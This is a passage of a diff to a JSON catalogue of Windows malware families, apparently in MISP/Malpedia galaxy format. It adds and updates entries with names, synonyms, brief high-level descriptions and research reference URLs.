"https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", "https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks" ], "synonyms": [ @@ -18340,27 +19449,20 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "63be3d30-0c8d-4c0a-8eee-6c96880734cb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "9afa9b7e-e2c1-4725-8d8d-cec7933cc63b", "value": "CookieBag" }, { - "description": "", + "description": "According to PCRIsk, CopperStealer, also known as Mingloa, is a malicious program designed to steal sensitive/personal information. It also has the capability to cause chain infections (i.e., download/install additional malware).\r\n\r\nSignificant activity of CopperStealer has been observed in Brazil, India, Indonesia, Pakistan, and the Philippines. At the time of research, this malware had been noted being spread via websites offering illegal activation tools (\"cracks\") for licensed software products.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.copper_stealer", "https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft", "https://www.trendmicro.com/en_us/research/22/h/copperstealer-distributes-malicious-chromium-browser-extension-steal-cryptocurrencies.html" ], - "synonyms": [], + "synonyms": [ + "Mingloa" + ], "type": [] }, "uuid": "87afcc5d-27f6-4427-b43c-4621a66e5041", @@ -18371,8 +19473,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot", - "https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/", "https://www.crowdstrike.com/blog/ecrime-ecosystem/", + "https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report_BosonSpider.pdf" ], "synonyms": [], @@ -18386,11 +19488,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn", - "https://blog.alyac.co.kr/2105", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/#atricle-content", "https://www.symantec.com/security-center/writeup/2018-021216-4405-99#technicaldescription", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "https://blog.talosintelligence.com/2019/01/fake-korean-job-posting.html", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + "https://blog.alyac.co.kr/2105", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/#atricle-content" ], "synonyms": [], "type": [] @@ -18403,27 +19505,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell", - "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", - "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", - "http://malware.prevenity.com/2014/08/malware-info.html", "http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware.html", - "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf" + "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", + "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "http://malware.prevenity.com/2014/08/malware-info.html" ], "synonyms": [ "SOURFACE" ], "type": [] }, - "related": [ - { - "dest-uuid": "3948ce95-468e-4ce1-82b1-57439c6d6afd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "579cc23d-4ba4-419f-bf8a-f235ed33125e", "value": "Coreshell" }, @@ -18447,8 +19540,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke", - "https://www.cyfirma.com/outofband/cosmicduke-malware-analysis/", - "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf" + "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", + "https://www.cyfirma.com/outofband/cosmicduke-malware-analysis/" ], "synonyms": [], "type": [] @@ -18461,18 +19554,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx", - "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", - "https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", - "https://vblocalhost.com/uploads/VB2020-20.pdf", - "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf", "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", - "https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf", - "https://www.youtube.com/watch?v=1WfPlgtfWnQ", - "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html" + "https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf", + "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", + "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", + "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", + "https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html", + "https://www.youtube.com/watch?v=1WfPlgtfWnQ", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf", + "https://vblocalhost.com/uploads/VB2020-20.pdf", + "https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [], "type": [] @@ -18480,6 +19573,19 @@ "uuid": "47190b56-5176-4e8b-8c78-fcc10e511fa2", "value": "Cotx RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cova", + "https://www.bitsight.com/blog/cova-and-nosu-new-loader-spreads-new-stealer" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cad667c1-be0a-49db-b2fb-462082a04fbe", + "value": "Cova" + }, { "description": "Covicli is a modified SSLeay32 dynamic library designated as a backdoor.\r\nThe dynamic library allows the attacker to communicate with the C2 over openSSL.", "meta": { @@ -18509,7 +19615,7 @@ "value": "Covid22" }, { - "description": "", + "description": "PCRisk notes that CoViper is yet another Coronavirus/COVID-19-themed malware infection, most likely proliferated as a file related to the pandemic. It operates by rewriting the system Master Boot Record (MBR). It does not delete the original, but rather creates a backup and replaces it with a custom MBR.\r\n\r\nTypically, malicious software that modifies MBRs do so to prevent the Operating System (OS) from being booted (i.e., started). It also displays a screen-encompassing message, often containing a ransom message - this disables user access to the device. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coviper", @@ -18522,6 +19628,25 @@ "uuid": "4d7d8496-52a6-47dc-abfe-4997af6dc465", "value": "CoViper" }, + { + "description": "CozyDuke is not simply a malware toolset; rather, it is a modular malware platform formed around\r\na core backdoor component. This component can be instructed by the C&C server to download\r\nand execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array\r\nof functionality. Known CozyDuke modules include:\r\n• Command execution module for executing arbitrary Windows Command Prompt commands\r\n• Password stealer module\r\n• NT LAN Manager (NTLM) hash stealer module\r\n• System information gathering module\r\n• Screenshot module", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cozyduke", + "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html" + ], + "synonyms": [ + "Cozer", + "CozyBear", + "CozyCar", + "EuroAPT" + ], + "type": [] + }, + "uuid": "b461afd0-f5fd-4c25-8367-4235a6e8b9b1", + "value": "COZYDUKE" + }, { "description": "CRACKSHOT is a downloader that can download files, including binaries, and run them from the hard disk or execute them directly in memory. It is also capable of placing itself into a dormant state.", "meta": { @@ -18552,11 +19677,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crat", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://suspected.tistory.com/269", "https://mp.weixin.qq.com/s/2sV-DrleHiJMSpSCW0kAMg", - "https://www.secrss.com/articles/18635", - "https://blog.talosintelligence.com/2020/11/crat-and-plugins.html" + "https://suspected.tistory.com/269", + "https://blog.talosintelligence.com/2020/11/crat-and-plugins.html", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://www.secrss.com/articles/18635" ], "synonyms": [], "type": [] @@ -18582,10 +19707,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.credomap", + "https://securityscorecard.com/research/apt28s-stealer-called-credomap", "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://cert.gov.ua/article/341128" + "https://cert.gov.ua/article/341128", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war" ], "synonyms": [], "type": [] @@ -18606,6 +19732,32 @@ "uuid": "ac75d0a3-bb99-4453-9567-a6c8ba87a706", "value": "Credraptor" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.creepysnail", + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a95d4aaa-302e-4a3c-a071-ba8eed978920", + "value": "CreepySnail" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.creep_exfil", + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fc743725-2fa6-48dd-8797-57e298375505", + "value": "CreepExfil" + }, { "description": "", "meta": { @@ -18623,39 +19775,39 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crimson", - "https://twitter.com/katechondic/status/1502206599166939137", + "https://securelist.com/transparent-tribe-part-2/98233/", + "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html", "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", - "https://s.tencent.com/research/report/669.html", - "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html?m=1", - "https://labs.k7computing.com/index.php/transparent-tribe-targets-educational-institution/", + "https://team-cymru.com/blog/2021/04/16/transparent-tribe-apt-infrastructure-mapping/", "https://www.secrss.com/articles/24995", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg", - "https://cybleinc.com/2021/04/30/transparent-tribe-operating-with-a-new-variant-of-crimson-rat/", - "https://securelist.com/transparent-tribe-part-1/98127/", "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://blog.yoroi.company/research/transparent-tribe-four-years-later", + "https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/", + "https://s.tencent.com/research/report/669.html", + "https://www.4hou.com/posts/vLzM", "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf", + "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html", + "https://cybleinc.com/2021/04/30/transparent-tribe-operating-with-a-new-variant-of-crimson-rat/", + "https://mp.weixin.qq.com/s/ELYDvdMiiy4FZ3KpmAddZQ", + "https://labs.k7computing.com/index.php/transparent-tribe-targets-educational-institution/", "https://twitter.com/teamcymru_S2/status/1501955802025836546", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://securelist.com/transparent-tribe-part-1/98127/", + "https://blog.yoroi.company/research/transparent-tribe-four-years-later", + "https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF", + "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html?m=1", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/IoCs_Investigating%20APT36%20or%20Earth%20Karkaddan%20Attack%20Chain%20and%20Malware%20Arsenal.rtf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://twitter.com/teamcymru/status/1351228309632385027", "https://anchorednarratives.substack.com/p/trouble-in-asia-and-the-middle-east", "https://team-cymru.com/blog/2021/07/02/transparent-tribe-apt-infrastructure-mapping-2/", - "https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/", - "https://twitter.com/teamcymru/status/1351228309632385027", - "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", + "https://www.seqrite.com/blog/operation-honey-trap-apt36-targets-defense-organizations-in-india/", "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html", - "https://www.4hou.com/posts/vLzM", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF", - "https://securelist.com/transparent-tribe-part-2/98233/", - "https://team-cymru.com/blog/2021/04/16/transparent-tribe-apt-infrastructure-mapping/", - "https://mp.weixin.qq.com/s/ELYDvdMiiy4FZ3KpmAddZQ", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", - "https://www.seqrite.com/blog/operation-honey-trap-apt36-targets-defense-organizations-in-india/" + "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", + "https://twitter.com/katechondic/status/1502206599166939137" ], "synonyms": [ "SEEDOOR", @@ -18684,11 +19836,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cring", - "https://twitter.com/swisscom_csirt/status/1354052879158571008", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Vulnerability-in-Fortigate-VPN-servers-is-exploited-in-Cring-ransomware-attacks-En.pdf", + "https://twitter.com/swisscom_csirt/status/1354052879158571008", "https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728", - "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html" ], "synonyms": [], "type": [] @@ -18696,25 +19848,38 @@ "uuid": "f5a19987-d0b6-4cc3-89ab-d4540f2e9744", "value": "Cring" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.crosslock", + "https://twitter.com/1ZRR4H/status/1648232869809078273" + ], + "synonyms": [], + "type": [] + }, + "uuid": "505dc6be-56f3-49ca-be11-45b3e78a4ac2", + "value": "CrossLock" + }, { "description": "According to FireEye, CROSSWALK is a skeletal, modular backdoor capable of system survey and adding modules in response to C&C replies.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk", + "https://www.youtube.com/watch?v=8x-pGlWpIYI", + "https://twitter.com/MrDanPerez/status/1159459082534825986", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware", "https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/", + "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-state-sponsored-espionage-group-targeting-multiple-verticals-with-crosswalk/", + "https://thehackernews.com/2021/01/researchers-disclose-undocumented.html", + "https://content.fireeye.com/apt-41/rpt-apt41/", + "https://www.carbonblack.com/2019/09/30/cb-threat-analysis-unit-technical-analysis-of-crosswalk/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://www.carbonblack.com/2019/09/30/cb-threat-analysis-unit-technical-analysis-of-crosswalk/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.youtube.com/watch?v=8x-pGlWpIYI", - "https://thehackernews.com/2021/01/researchers-disclose-undocumented.html", - "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-state-sponsored-espionage-group-targeting-multiple-verticals-with-crosswalk/", - "https://www.youtube.com/watch?v=FttiysUZmDw", - "https://twitter.com/MrDanPerez/status/1159459082534825986", - "https://content.fireeye.com/apt-41/rpt-apt41/" + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/" ], "synonyms": [ "Motnug", @@ -18726,13 +19891,26 @@ "uuid": "7ca7c08b-36fd-46b3-8b9e-a8b0d4743433", "value": "CROSSWALK" }, + { + "description": "According to Trend Micro, this is a custom loader for win.cobalt_strike, used by Earth Longzhi (a subgroup of APT41).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.croxloader", + "https://www.trendmicro.com/en_us/research/23/e/attack-on-security-titans-earth-longzhi-returns-with-new-tricks.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "48d697ec-aa34-4d98-83e4-17b736d59a85", + "value": "Croxloader" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch", - "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/" ], "synonyms": [], "type": [] @@ -18745,18 +19923,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryakl", + "https://unit42.paloaltonetworks.com/trigona-ransomware-update/", "https://twitter.com/demonslay335/status/971164798376468481", + "https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/", "https://securelist.com/the-return-of-fantomas-or-how-we-deciphered-cryakl/86511/", - "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/", + "https://www.telekom.com/en/blog/group/article/lockdata-auction-631300", + "https://twitter.com/albertzsigovits/status/1217866089964679174", + "https://hackmag.com/security/ransomware-russian-style/", "https://twitter.com/bartblaze/status/1305197264332369920", "https://bartblaze.blogspot.com/2016/02/vipasana-ransomware-new-ransom-on-block.html", - "https://twitter.com/albertzsigovits/status/1217866089964679174", - "https://blog.checkpoint.com/2015/11/04/offline-ransomware-encrypts-your-data-without-cc-communication/", - "https://hackmag.com/security/ransomware-russian-style/", - "https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/", - "https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/", - "https://www.telekom.com/en/blog/group/article/lockdata-auction-631300", "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Cryakl-B/detailed-analysis.aspx", + "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://blog.checkpoint.com/2015/11/04/offline-ransomware-encrypts-your-data-without-cc-communication/", "https://securelist.com/cis-ransomware/104452/" ], "synonyms": [ @@ -18784,8 +19963,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic", - "https://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/", - "https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/" + "https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/" ], "synonyms": [], "type": [] @@ -18811,18 +19990,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot", - "https://asec.ahnlab.com/en/26052/", - "https://asec.ahnlab.com/en/31683/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.mandiant.com/resources/russian-targeting-gov-business", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://www.bleepingcomputer.com/news/security/malicious-kmspico-installers-steal-your-cryptocurrency-wallets/", - "https://asec.ahnlab.com/en/24423/", + "https://research.openanalysis.net/cryptbot/botnet/yara/config/2023/03/16/cryptbot.html", "https://redcanary.com/wp-content/uploads/2021/12/KMSPico-V5.pdf", - "https://www.bleepingcomputer.com/news/security/revamped-cryptbot-malware-spread-by-pirated-software-sites/", "https://asec.ahnlab.com/en/35981/", + "https://regmedia.co.uk/2023/04/28/handout_google_cryptbot_complaint.pdf", + "https://www.bleepingcomputer.com/news/security/malicious-kmspico-installers-steal-your-cryptocurrency-wallets/", + "https://www.bleepingcomputer.com/news/security/revamped-cryptbot-malware-spread-by-pirated-software-sites/", + "https://asec.ahnlab.com/en/31683/", + "https://asec.ahnlab.com/en/31802/", + "https://asec.ahnlab.com/en/24423/", + "https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/", + "https://blog.google/technology/safety-security/continuing-our-work-to-hold-cybercriminal-ecosystems-accountable/", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://fr3d.hk/blog/cryptbot-too-good-to-be-true", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://asec.ahnlab.com/en/26052/", "https://www.gdatasoftware.com/blog/2020/02/35802-bitbucket-abused-as-malware-slinger", - "https://fr3d.hk/blog/cryptbot-too-good-to-be-true" + "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://blogs.blackberry.com/en/2022/03/threat-thursday-cryptbot-infostealer" ], "synonyms": [], "type": [] @@ -18843,6 +20028,19 @@ "uuid": "972fbb7b-6945-42d8-ba88-a7b4e6fc1ad4", "value": "CrypticConvo" }, + { + "description": "According to OALabs, this ransomware has the following features: \r\n* Files are encrypted with AES CBC using a generated 256 bit key and IV.\r\n* The generated AES keys are encrypted using a hard coded RSA key and appended to the encrypted files.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptnet", + "https://research.openanalysis.net/dotnet/cryptnet/ransomware/2023/04/20/cryptnet.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "99c468a2-c69f-4c9c-9941-0627052001b2", + "value": "CryptNET" + }, { "description": "", "meta": { @@ -18858,21 +20056,36 @@ "uuid": "c6d09bb2-5673-4b2b-b2cb-5d14f2568189", "value": "CryptoDarkRubix" }, + { + "description": "CryptoJoker is an open source ransomware written in C#.\r\nCryptoJoker uses a combination of a \"custom XOR\" encryption and RSA. A private public/private pair key is generated for every computer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptojoker", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/plutocrypt-a-cryptojoker-ransomware-variant" + ], + "synonyms": [ + "PlutoCrypt" + ], + "type": [] + }, + "uuid": "01cb8122-7a24-436f-85d3-d6a306800f10", + "value": "CryptoJoker" + }, { "description": "CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", "https://www.secureworks.com/research/threat-profiles/gold-evergreen", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://www.secureworks.com/research/cryptolocker-ransomware", "https://sites.temple.edu/care/ci-rw-attacks/", "http://www.secureworks.com/research/threat-profiles/gold-evergreen", - "https://www.secureworks.com/research/cryptolocker-ransomware", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware" ], "synonyms": [], "type": [] @@ -18898,11 +20111,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix", + "https://www.bleepingcomputer.com/news/security/new-azer-cryptomix-ransomware-variant-released/", + "https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/", "https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/", - "https://www.bleepingcomputer.com/news/security/work-cryptomix-ransomware-variant-released/", - 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"https://ryancor.medium.com/genetic-analysis-of-cryptowall-ransomware-843f86055c7f" + "https://ryancor.medium.com/genetic-analysis-of-cryptowall-ransomware-843f86055c7f", + "https://sites.temple.edu/care/ci-rw-attacks/" ], "synonyms": [], "type": [] @@ -18996,8 +20211,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress", - "https://www.welivesecurity.com/2015/03/09/cryptofortress-mimics-torrentlocker-different-ransomware/", - "http://malware.dontneedcoffee.com/2015/03/cryptofortress-teeraca-aka.html" + "http://malware.dontneedcoffee.com/2015/03/cryptofortress-teeraca-aka.html", + "https://www.welivesecurity.com/2015/03/09/cryptofortress-mimics-torrentlocker-different-ransomware/" ], "synonyms": [], "type": [] @@ -19023,8 +20238,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptxxxx", - "https://www.sentinelone.com/blog/sophisticated-new-packer-identified-in-cryptxxx-ransomware-sample/", - "https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/" + "https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/", + "https://www.sentinelone.com/blog/sophisticated-new-packer-identified-in-cryptxxx-ransomware-sample/" ], "synonyms": [], "type": [] @@ -19032,6 +20247,19 @@ "uuid": "fd54ff8b-d34a-4a58-9ee1-2c47f28cb3e8", "value": "CryptXXXX" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.crytox", + 